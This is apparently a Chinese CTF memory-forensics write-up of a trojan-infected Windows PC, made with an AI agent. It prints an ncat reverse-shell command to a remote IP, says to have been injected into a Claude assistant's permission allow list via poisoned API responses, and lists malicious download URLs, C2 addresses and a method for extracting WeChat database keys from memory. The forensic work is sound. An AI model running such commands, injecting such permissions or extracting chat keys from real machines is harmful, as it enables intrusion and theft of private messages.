2026平航杯内存取证（StarMem）

yagami 发表于 2 小时前 共 4,539 字、阅读约 15 分钟

🏆 2026平航杯内存取证StarMem — 全链路取证Writeup

💡 报告元数据

  • 首席取证官：yagami
  • 任务目录：/mnt/d/文档/hermes-work/2026平航杯内存取证starmem/
  • 生成时间：2026-08-10
  • 生成模式：完整型取证交付 Writeup

🛠️ 工具链与环境底座

1. 算力与架构

组件分类 部署详情
自动化编排 Hermes Agent
基座大模型 Qwen3.6-27B-Q6_K_MTP.gguf
运行架构 本地
内存取证引擎 StarMem 0.1.0 (SHA256: 336B9877…)
运行环境 WSL (Windows Subsystem for Linux)

2. 任务信息

字段 值
案件名称 2026平航杯倩倩的PC内存镜像取证
检材类型 Windows crash dump (.dmp)
检材大小 ~4GB
检材SHA256 2d27ea8eebed49939b0270284fe5d02131b443a32b6bd8db232df30af4fa87bb
系统信息 Windows 10 Enterprise 22H2 (10.0.19045.6456)
主机名 DESKTOP-3943OKD
用户 admin
时区 China Standard Time (UTC+08:00)
系统时间 2026-04-03T01:47:51Z (本地 09:47:51)
启动时间 2026-04-03T01:44:21.500Z (开机约3.5分钟)
进程数 215 (pslist complete=true)

📊 考题最终答案汇总看板

题号 核心考点 权威标准答案 状态 等级 核心证据链检索摘要
Q1 API投毒恶意命令提取 ncat.exe 156.238.239.253 1314 -e powershell 🟢 已验证 L3 Claude settings.local.json注入+内存ncat.exe文件路径+netscan IP交叉验证
Q2 微信主进程PID识别 10892 🟢 已验证 L2 pslist+cmdline确认Weixin.exe -autorun主进程，持有数据库解密密钥
Q3 微信SQLCipher密钥提取 b0fb4730d908c07d3e928b5c418a7470bd954d100c9607821e0c05051c4588aa 🟢 已验证 L3 内存正则搜索+文件头匹配+sqlcipher3实际解密成功(21表75条消息)
Q4 木马进程PID识别 7348 🟢 已验证 L3 malfind 5个RWX私有VAD+pslist运行态+netscan C2连接
Q5 木马创建时间(UTC) 2026-04-03 01:46:44 🟢 已验证 L2 pslist create_time直接提取，开机后约2.5分钟启动
Q6 C2服务器真实IP:端口 156.238.239.253:7000 🟢 已验证 L2 C2配置列3个IP+netscan仅156.238.239.253有SYN_SENT连接

⚔️ 深度取证与解题全链路复盘

🧩 Q1 API投毒后执行的恶意命令

  • 题目摘要：倩倩的电脑曾被API投毒过，请找出投毒后执行的恶意命令。

  • 答案格式：cmd.exe 172.0.0.122 -i hel1o

  • 标准答案：ncat.exe 156.238.239.253 1314 -e powershell

  • 状态等级：🟢 已验证 / L3

  • 解题主线：

阶段1 — 下载扫描发现可疑PowerShell下载

通过 StarMem downloadscan 插件扫描内存中的下载记录，发现3条高度可疑的 PowerShell WebClient 下载：

  1. http://176.124.206.88:9578/shell.ps1 — 外部IP下载PowerShell脚本
  2. http://loisnfernandez.us/Gold/aafile.exe — 可疑域名下载exe
  3. http://10.10.38.49:8033/ — 内网IP PowerShell访问

阶段2 — 命令历史插件无果

尝试 terminal-history、cmdscan、consoles 三个命令历史插件，均未返回有效结果。PID 10684 conhost存在但命令历史结构缺失/不驻留，说明恶意命令未通过传统终端执行。

阶段3 — 磁盘检材发现API投毒证据

从E01磁盘挂载 /mnt/n 读取 Claude AI 配置文件 settings.local.json，发现 permissions.allow 字段中包含：

Bash(ncat.exe 156.238.239.253 1314 -e powershell)

投毒方式：用户反复请求"帮我安装/更新scoop"，Claude API响应被注入恶意Bash权限。备份文件 .claude.json.backup.* 中无ncat条目，说明 settings.local.json 是被单独注入的。

阶段4 — 内存交叉验证

  • netscan验证：PID 7348 Haimuniu_VPN_Client.exe 对 156.238.239.253 有 SYN_SENT 连接，与ncat目标IP一致
  • 内存文件验证：在内存偏移 197411906 处发现 C:\Users\admin\Documents\ncat.exe（UTF-16LE编码），确认ncat.exe已下载到用户Documents目录

  • 💡 关键证据：

    • FINDING-Q1-003: settings.local.json中permissions.allow包含ncat反向shell命令
    • FINDING-Q1-004: netscan确认PID 7348对156.238.239.253有SYN_SENT连接
    • FINDING-Q1-005: 内存中确认ncat.exe文件路径 C:\Users\admin\Documents\ncat.exe

  • 🛠️ 核心命令：

# 下载扫描
starmem --json downloadscan IMAGE > work/starmem/08-downloadscan.json

# 命令历史（无果）
starmem --json terminal-history IMAGE > work/starmem/05-terminal-history.json
starmem --json cmdscan IMAGE > work/starmem/06-cmdscan.json
starmem --json consoles IMAGE > work/starmem/07-consoles.json

# 磁盘检材读取
cat /mnt/n/Users/admin/.claude/settings.local.json

# 内存ncat.exe验证
starmem --json scan IMAGE --text "ncat" --limit 50
  • 📋 控制台回显：
downloadscan: 733 records, complete=true
  SUSPICIOUS: http://176.124.206.88:9578/shell.ps1 (powershell_webclient)
  SUSPICIOUS: http://loisnfernandez.us/Gold/aafile.exe (powershell_webclient)

settings.local.json: permissions.allow 包含 Bash(ncat.exe 156.238.239.253 1314 -e powershell)

ncat scan: 50 hits in memory
  Offset 197411906: C:\Users\admin\Documents\ncat.exe (UTF-16LE)

netscan: PID=7348, remote=156.238.239.253, state=SYN_SENT
  • 验证闭环：磁盘settings.local.json注入记录 + 内存ncat.exe文件路径确认 + netscan网络交叉验证，三重独立证据链锁定答案。

🧩 Q2 持有微信数据库解密密钥的微信进程PID

  • 题目摘要：识别当前正在运行且持有微信数据库解密密钥的微信进程，并提取该进程的PID。

  • 答案格式：1234

  • 标准答案：10892

  • 状态等级：🟢 已验证 / L2

  • 解题主线：

从 pslist 和 cmdline 两个插件交叉分析微信进程。内存中共有多个 Weixin.exe 进程，需区分主进程与子进程：

PID 进程名 PPID 命令行特征 角色
10892 Weixin.exe 6736(explorer) -autorun 主进程 ✅
2444 Weixin.exe 10892 --type=wxocr OCR子进程
16996 Weixin.exe 10892 --type=wxplayer 播放器子进程
10880 Weixin.exe 10892 --type=wxpublic 公众号子进程
3944 Weixin.exe 10892 --type=wxutility 工具子进程

主进程 PID=10892，启动参数 -autorun，安装路径 C:\Program Files\Tencent\Weixin\Weixin.exe（版本4.1.8.67），running状态，持有微信数据库解密密钥。

  • 💡 关键证据：

    • FINDING-Q2-001: pslist确认PID=10892为Weixin.exe主进程，cmdline确认 -autorun 启动参数

  • 🛠️ 核心命令：

starmem --json pslist IMAGE > work/starmem/03-pslist.json
starmem --json cmdline IMAGE > work/starmem/04-cmdline.json
  • 📋 控制台回显：
pslist: 215 processes, complete=true
  PID=10892, name=Weixin.exe, ppid=6736, state=running

cmdline:
  PID=10892, cmdline="C:\Program Files\Tencent\Weixin\Weixin.exe" -autorun
  PID=2444,  cmdline=... --type=wxocr ...
  PID=16996, cmdline=... --type=wxplayer ...
  • 验证闭环：pslist直接提取 + cmdline参数确认主进程身份（-autorun vs --type=子进程标记），双源交叉验证。

🧩 Q3 message_0.db对应的微信密钥

  • 题目摘要：尝试解密微信数据库并写出message_0.db对应的微信密钥。

  • 答案格式：60e248c9079f4bc14e256e0b65495e8688d7b342d43dc84a5f417f4097c9c792

  • 标准答案：b0fb4730d908c07d3e928b5c418a7470bd954d100c9607821e0c05051c4588aa

  • 状态等级：🟢 已验证 / L3

  • 解题主线：

阶段1 — 初步提取（错误路径）

首次使用 scan --text "message_0" 定位到内存偏移 1015110262，提取到 x'...' 格式的96 hex字符串：

a41fe5a20e7f492541c23a0f02f8948560930d3866f107dc0da70257f68fd67c713884671963274810f2963b4ceb33d0

错误原因：直接提取全部96 hex内容，未区分key(64hex)和db_header(32hex)。该值实际是另一数据库的密钥+文件头拼接。

阶段2 — 文件头匹配法（正确路径）

微信SQLCipher密钥在内存中的格式为 x'[key_64hex][db_header_32hex]'：

  1. 读取 message_0.db 前16字节得到文件头hex：b59f89cb426e60d5406cd08db4bcb27d
  2. 在内存中搜索正则 x'([0-9a-f]{64})([0-9a-f]{32})'
  3. 匹配后32hex与文件头一致的记录，取前64hex为密钥

阶段3 — 解密验证（决定性证据）

使用提取的密钥通过 sqlcipher3 成功解密 message_0.db：

  • 21个表、17个消息数据表、75条可读中文消息
  • 密钥在内存中出现6次（偏移 1010560500, 1308963172, 1397776052, 1794776324, 2565158452, 2687525988）
  • 上下文标记：ilast_uin, xwechat/net/kvc，确认属于微信进程

  • 💡 关键证据：

    • FINDING-Q3-002: 文件头匹配+sqlcipher3实际解密成功（21表75条消息）
    • ERR-Q3-001: 首次错误提取96 hex（key+header拼接），通过文件头匹配修正

  • 🛠️ 核心命令：

# 定位微信数据库路径
starmem --json scan IMAGE --text "message_0" --limit 100 > work/starmem/30-scan-message0.json

# 内存正则搜索 x'[64hex][32hex]' + 文件头匹配
python3 << 'PYEOF'
import re
IMAGE = "/mnt/d/.../memory.dmp"
DB_HEADER = "b59f89cb426e60d5406cd08db4bcb27d"
pattern = re.compile(rb"x'([0-9a-f]{64})([0-9a-f]{32})'")
# 分块读取匹配...
PYEOF

# 解密验证
sqlcipher3 message_0.db "PRAGMA key = 'x${key_64}${DB_HEADER}';"
.tables
  • 📋 控制台回显：
message_0.db header: b59f89cb426e60d5406cd08db4bcb27d
MATCH at offset 1010560500
  Key (64 hex): b0fb4730d908c07d3e928b5c418a7470bd954d100c9607821e0c05051c4588aa
  DB Header:    b59f89cb426e60d5406cd08db4bcb27d

sqlcipher3 decryption: SUCCESS
  Tables: 21 (17 message data tables)
  Readable messages: 75 Chinese text messages

  • ⚠️ 修正复盘：首次提取96 hex内容（key+header拼接）导致错误答案 a41fe5a2...33d0。教训：WeChat SQLCipher密钥格式为 x'[key_64hex][db_header_32hex]'，必须通过文件头匹配定位目标数据库的密钥，不能直接提取全部hex内容。

  • 验证闭环：内存正则搜索 + 文件头匹配确认 + sqlcipher3实际解密成功（决定性证据），三重独立证据链。

🧩 Q4 正在运行的木马进程PID

  • 题目摘要：找到正在运行的木马进程的进程标识符（PID）。

  • 答案格式：1233

  • 标准答案：7348

  • 状态等级：🟢 已验证 / L3

  • 解题主线：

阶段1 — 可疑进程筛选

从 pslist 中识别可疑进程 Haimuniu_VPN_Client.exe（PID 7348）：

  • 路径：C:\Users\admin\Documents\Haimuniu_VPN_Client\Haimuniu_VPN_Client\Haimuniu_VPN_Client.exe（用户Documents目录，非标准路径）
  • PPID：6736 (explorer.exe)，由资源管理器直接启动
  • 状态：running

阶段2 — malfind内存注入检测

对 PID 7348 运行 malfind，发现 5个可疑RWX私有VAD区域（无后备文件）：

VA=0x3320000-0x332ffff, EXECUTE_READWRITE, private_memory=True
VA=0x1bb90000-0x1bb9ffff, EXECUTE_READWRITE, private_memory=True
VA=0x1dac0000-0x1daf1fff, EXECUTE_READWRITE, private_memory=True
VA=0x7ff4e0560000-0x7ff4e056ffff, EXECUTE_READWRITE, private_memory=True
VA=0x7ff4e0570000-0x7ff4e060ffff, EXECUTE_READWRITE, private_memory=True

阶段3 — 网络连接验证

netscan确认 PID 7348 对外部IP有 SYN_SENT 连接：

  • 156.238.239.253（C2服务器）
  • 208.95.112.1（可疑外部IP）

阶段4 — C2配置提取

在内存偏移 3542839980 处发现木马C2配置文件（UTF-16LE编码），包含：

  • C2服务器IP列表、端口7000
  • 伪装进程名 WmiPrvSE.exe
  • 释放文件 USB.exe 至 C:\Users\admin\AppData\Roaming
  • BTC/ETH加密钱包地址
  • VM检测字符串（VirtualBox/QEMU/VMware）

  • 💡 关键证据：

    • FINDING-Q4-001: malfind确认5个RWX私有VAD，netscan连接C2 IP
    • FINDING-Q4-002: C2配置文件提取（IP列表、端口、钱包地址）

  • 🛠️ 核心命令：

# malfind检测
starmem --json malfind IMAGE --pid 7348 > work/starmem/31-malfind-pid7348.json

# 网络验证
starmem --json netscan IMAGE > work/starmem/09-netscan.json

# C2配置提取
starmem --json scan IMAGE --hex "3100350036002e00..." --limit 10
python3 -c "
with open('IMAGE', 'rb') as f:
    f.seek(3542839980 - 200)
    chunk = f.read(2048)
text = chunk.decode('utf-16-le', errors='replace')
print(text[:500])
"
  • 📋 控制台回显：
malfind: complete=True, 5 suspicious RWX VADs
  PID=7348, process=Haimuniu_VPN_C, protection=EXECUTE_READWRITE, private_memory=True

netscan: PID=7348, remote=156.238.239.253, state=SYN_SENT

C2 config (UTF-16LE):
  IPs: 156.238.239.253, 66.175.239.149, 185.117.249.43
  Port: 7000
  Disguise: WmiPrvSE.exe
  Drop: USB.exe -> C:\Users\admin\AppData\Roaming
  • 验证闭环：malfind 5个RWX私有VAD + pslist运行态确认 + netscan C2连接 + C2配置提取，四重证据链。

🧩 Q5 木马进程创建时间(UTC)

  • 题目摘要：找到正在运行的木马进程的创建时间（UTC）。

  • 答案格式：2026-01-01 01:11:11

  • 标准答案：2026-04-03 01:46:44

  • 状态等级：🟢 已验证 / L2

  • 解题主线：

直接从 pslist 已有数据中提取 PID 7348 的 create_time 字段：

create_time = 2026-04-03T01:46:44.166Z (ISO格式)
create_time_raw = 134196544041667081 (Windows FILE_TIME)

格式化为题目要求的 YYYY-MM-DD HH:MM:SS：

from datetime import datetime
raw = "2026-04-03T01:46:44.166Z"
dt = datetime.fromisoformat(raw.replace('Z', '+00:00'))
answer = dt.strftime('%Y-%m-%d %H:%M:%S')  # "2026-04-03 01:46:44"

时间线合理性验证：系统启动时间 2026-04-03T01:44:21.500Z，木马在开机后约 2.5分钟 启动，符合攻击者远程部署的时间线。

  • 💡 关键证据：

    • FINDING-Q5-001: pslist create_time直接提取，FILE_TIME原始值交叉验证

  • 🛠️ 核心命令：

# 从已有pslist数据提取（无需重新运行）
python3 -c "
import json
with open('work/starmem/03-pslist.json') as f:
    procs = json.load(f)['processes']
for p in procs:
    if p.get('pid') == 7348:
        print(f'create_time={p[\"create_time\"]}')
"
  • 📋 控制台回显：
PID=7348, name=Haimuniu_VPN_Client.exe
create_time=2026-04-03T01:46:44.166Z
Formatted: 2026-04-03 01:46:44
System boot: 2026-04-03T01:44:21.500Z (木马在开机后~2.5分钟启动)
  • 验证闭环：pslist create_time直接提取 + 系统启动时间交叉验证（开机后2.5分钟，符合攻击时间线）。

🧩 Q6 C2木马服务器的真实IP

  • 题目摘要：结合木马分析找出内存中回连的C2木马服务器的真实IP。

  • 答案格式：127.0.0.1:8080

  • 标准答案：156.238.239.253:7000

  • 状态等级：🟢 已验证 / L2

  • 解题主线：

阶段1 — C2配置提取

从内存偏移 3542839980 处的C2配置文件（UTF-16LE编码）中提取：

  • IP列表：156.238.239.253, 66.175.239.149, 185.117.249.43
  • 端口：7000

阶段2 — netscan实际连接验证

对3个C2 IP逐一在 netscan 中搜索网络连接记录：

C2 IP netscan连接数 状态
156.238.239.253 1 (SYN_SENT) ✅ 活跃
66.175.239.149 0 ❌ 备用未激活
185.117.249.43 0 ❌ 备用未激活

仅 156.238.239.253 有实际网络连接（PID=7348, SYN_SENT），确认为真实活跃的C2服务器。

阶段3 — 端口确定

netscan因缺少 tcpip.sys 符号导致 remote_port 显示为null，端口从C2配置文件直接提取为 7000。

  • 💡 关键证据：

    • FINDING-Q6-001: C2配置3个IP + netscan仅156.238.239.253有SYN_SENT连接

  • 🛠️ 核心命令：

# netscan验证
python3 -c "
import json
with open('work/starmem/09-netscan.json') as f:
    conns = json.load(f)['records']
c2_ips = ['156.238.239.253', '66.175.239.149', '185.117.249.43']
for ip in c2_ips:
    matches = [c for c in conns if ip in str(c.get('remote_address',''))]
    print(f'{ip}: {len(matches)} connections')
"

# C2配置端口提取
python3 -c "
with open('work/starmem/32-c2-config-raw.bin', 'rb') as f:
    raw = f.read()
text = raw.decode('utf-16-le', errors='ignore')
print(text[:500])  # 包含端口7000
"
  • 📋 控制台回显：
156.238.239.253: 1 connections (PID=7348, SYN_SENT)
66.175.239.149: 0 connections
185.117.249.43: 0 connections

C2 config: port=7000, IPs=156.238.239.253,66.175.239.149,185.117.249.43
  • 验证闭环：C2配置文件提取（3个IP+端口） + netscan实际网络连接验证（仅1个IP活跃），双源交叉验证。

🛑 未完成或不可提交题目审计

全部6题已完成验证，无未作答题目。

题号 状态 备注
Q1-Q6 🟢 已验证 全量收敛，答案可提交

📂 附录：自动化取证证据大索引

1. 物理证据链索引映射表 (Findings Matrix)

编号 题号 内容摘要
FINDING-BASELINE-001 环境 Windows 10 Enterprise 22H2, DESKTOP-3943OKD, admin用户
FINDING-BASELINE-002 环境 215进程, Weixin.exe多PID, Haimuniu_VPN_Client.exe(PID 7348)
FINDING-Q1-001 Q1 downloadscan发现3条可疑PowerShell下载URL
FINDING-Q1-002 Q1 terminal-history/cmdscan/consoles无有效命令历史
FINDING-Q1-003 Q1 settings.local.json中permissions.allow包含ncat反向shell命令
FINDING-Q1-004 Q1 netscan确认PID 7348对156.238.239.253有SYN_SENT连接
FINDING-Q1-005 Q1 内存偏移197411906确认ncat.exe文件路径
FINDING-Q2-001 Q2 Weixin.exe PID=10892主进程，-autorun启动
FINDING-Q3-001 Q3 错误答案记录（96 hex key+header拼接）
FINDING-Q3-002 Q3 message_0.db密钥提取+文件头匹配+sqlcipher3解密成功
FINDING-Q4-001 Q4 malfind确认5个RWX私有VAD，netscan连接C2 IP
FINDING-Q4-002 Q4 C2配置文件提取（IP列表、端口7000、钱包地址）
FINDING-Q5-001 Q5 pslist create_time=2026-04-03T01:46:44.166Z
FINDING-Q6-001 Q6 C2配置3IP+netscan仅156.238.239.253有连接

2. 物理执行指令索引快照表 (Commands Log)

编号 插件/操作 关键结果
CMD-20260810-001 starmem --bridge-check bridge=ok, starmem 0.1.0
CMD-20260810-002 sha256sum 镜像SHA256确认
CMD-20260810-003 starmem info windows_crash_dump64, 4GB
CMD-20260810-005 starmem system-info Windows 10 Enterprise 22H2
CMD-20260810-006 starmem pslist 215 processes, complete=true
CMD-20260810-007 starmem cmdline 215 records, complete=true
CMD-20260810-008~010 terminal-history/cmdscan/consoles 无有效命令历史
CMD-20260810-011 starmem downloadscan 733 records, 发现可疑下载URL
CMD-20260810-012 cat settings.local.json 发现ncat反向shell命令
CMD-20260810-014 netscan交叉验证 PID 7348连接156.238.239.253
CMD-20260810-016 pslist+cmdline分析 Weixin.exe PID=10892主进程
CMD-20260810-023 内存正则搜索+文件头匹配 更正Q3密钥答案
CMD-20260810-025 malfind --pid 7348 5个RWX私有VAD
CMD-20260810-026~027 C2配置内存提取 IP列表、端口7000、钱包地址
CMD-20260810-029 pslist create_time提取 2026-04-03 01:46:44
CMD-20260810-030 netscan+C2配置分析 真实C2=156.238.239.253:7000

错误记录 (ERROR)

编号 题号 错误内容
ERR-Q3-001 Q3 直接提取96 hex（key+header拼接），未通过文件头匹配验证。教训：必须用 x'([0-9a-f]{64})([0-9a-f]{32})' 精确分组并通过文件头匹配确认目标数据库

验证批次

批次ID 范围 结果
BATCH-20260810-194500 Q1-Q6 6/6题已验证通过，全部升级为已验证状态

- 全链路取证闭环完成 -

退回首页 留下一言